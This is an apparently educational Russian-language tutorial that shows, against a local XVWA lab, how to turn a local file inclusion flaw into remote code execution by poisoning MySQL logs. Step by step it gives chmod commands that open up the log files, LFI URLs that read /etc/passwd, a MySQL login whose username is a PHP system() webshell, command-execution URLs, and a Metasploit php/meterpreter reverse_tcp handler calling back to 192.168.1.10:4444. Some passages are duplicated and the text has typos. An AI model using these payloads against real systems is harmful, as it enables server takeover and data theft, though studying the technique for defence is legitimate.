LFI уязвимость: отравляем журнал веб сервера
Этичный Хакер
В этой статье мы говорим о логическом методе, с помощью которого любой желающий может удаленно захватить весь веб-сервер, если веб-приложение страдает от уязвимости включения локального файла. Но прежде чем понять весь сценарий целиком, вы должны иметь некоторые знания об уязвимости включения локального файла.
Что такое уязвимость LFI
Уязвимость LFI позволяет злоумышленнику читать системные файлы с веб - сервера.
Методология
Теперь мы получаем представление о том, как возникает уязвимость включения файла и как мы можем воспользоваться ею. Как мы знаем, мы можем читать журналы веб-сервера из-за отсутствия уязвимости LFI, если разрешение на чтение предоставлено веб-сервером, если нет иного. Точно так же большинство веб-серверов открывают свой сервис MYSQL, работающий на порту 3306, для удаленного доступа, и мы воспользуемся этим преимуществом. Мы можем читать журналы,
поэтому сначала отправим вредоносный PHP-код на веб-сервер удаленно через сервис MYSQL, а затем используем весь веб-сервер через уязвимость LFI. Давайте посмотрим, как это возможно!!
MySQL ( 3306 )
Как вы можете видеть, служба MYSQL уже работает на порту 3306 на целевом веб-сервере, который также должен быть там.

Включить Журналы MySQL
По умолчанию сервер MySQL не собирает журналы попыток входа в систему (Fail/Pass), поэтому мы должны включить эту функцию, перейдя в следующее местоположение.
nano /etc/mysql/mariadb.conf.d/50-server.cnf

Теперь мы просто раскомментируем эти две строки, и MySQL начнет создавать журналы.

Неправильная конфигурация системы безопасности
По умолчанию другие пользователи не имеют разрешения на чтение файла журнала, но иногда это разрешение доступно разработчику или неправильной конфигурации, и в результате злоумышленники пользуются им. Поэтому мы позволим другому пользователю прочитать лог-файл в браузере.
cd /var/log/ chmod o rx mysql/ chmod o rx mysql/*

Сейчас кажется, что все уже сделано. Вы можете проверить эти права доступа к файлам, выполнив следующую команду.
ls -la mysql/

Также вы можете проверить, что MYSQL начал генерировать журналы.

Мы можем читать “/etc/passwd” в браузере, и мы надеемся, что мы также можем читать журналы MySQL.
http://localhost/xvwa/vulnerabilities/fi/?file=/etc/passwd

Как вы можете видеть, мы имеем полный контроль над генерируемыми журналами MySQL через браузер.
Также вы можете проверить, что MYSQL начал генерировать журналы.

Мы можем читать “/etc/passwd” в браузере, и мы надеемся, что мы также можем читать журналы MySQL.
http://localhost/xvwa/vulnerabilities/fi/?file=/etc/passwd

Как вы можете видеть, мы имеем полный контроль над генерируемыми журналами MySQL через браузер.
http://localhost/xvwa/vulnerabilities/fi/?file=/var/log/mysql/mysql.log

Внедрить вредоносный PHP код
Его время опустошать
Мы имеем в виду, что попытаемся подключить сервис MySQL с использованием вредоносного php-кода в качестве имени, которое поможет создать поддельные журналы в файле mysql.log.
mysql -u '<? php system($_GET['c']); ?>>' -p

Журнал генерируется в файле “mysql.logs”, что означает, что наш код был успешно внедрен на веб-сервер.

Просто проанализируйте полный URL-адрес, где мы получили приглашение cmd веб-сервера, с помощью которого мы можем выполнить любую произвольную команду и получить конфиденциальные файлы с веб-сервера.
http://localhost/xvwa/vulnerabilities/fi/?file=/var/log/mysql/mysql.log&c=cat+/etc/passwd

Наконец-то пришло время взять meterpreter сессии веб-сервера, для чего мы будем использовать следующий встроенный модуль фреймворка metasploit.
use exploit/multi/handler set target 1 set payload php/meterpreter/reverse_tcp set lhost 192.168.1.10 set lport 4444 set srvhost 192.168.1.10 set uripath / run

Теперь мы скопируем выделенный выше вредоносный php-код и вставим его перед параметром “&c=”.

Мы успешно получили сеанс meterpreter веб-сервера с помощью локальных уязвимостей включения файлов и отсутствия неправильных конфигураций безопасности.

Таким образом, злоумышленник может захватить весь ваш веб-сервер, выполнив отравление журнала. Кроме того, вы можете сделать отравление журнала через хорошо посеянные сервисы, такие как Apache, SSH, FTP и т. д.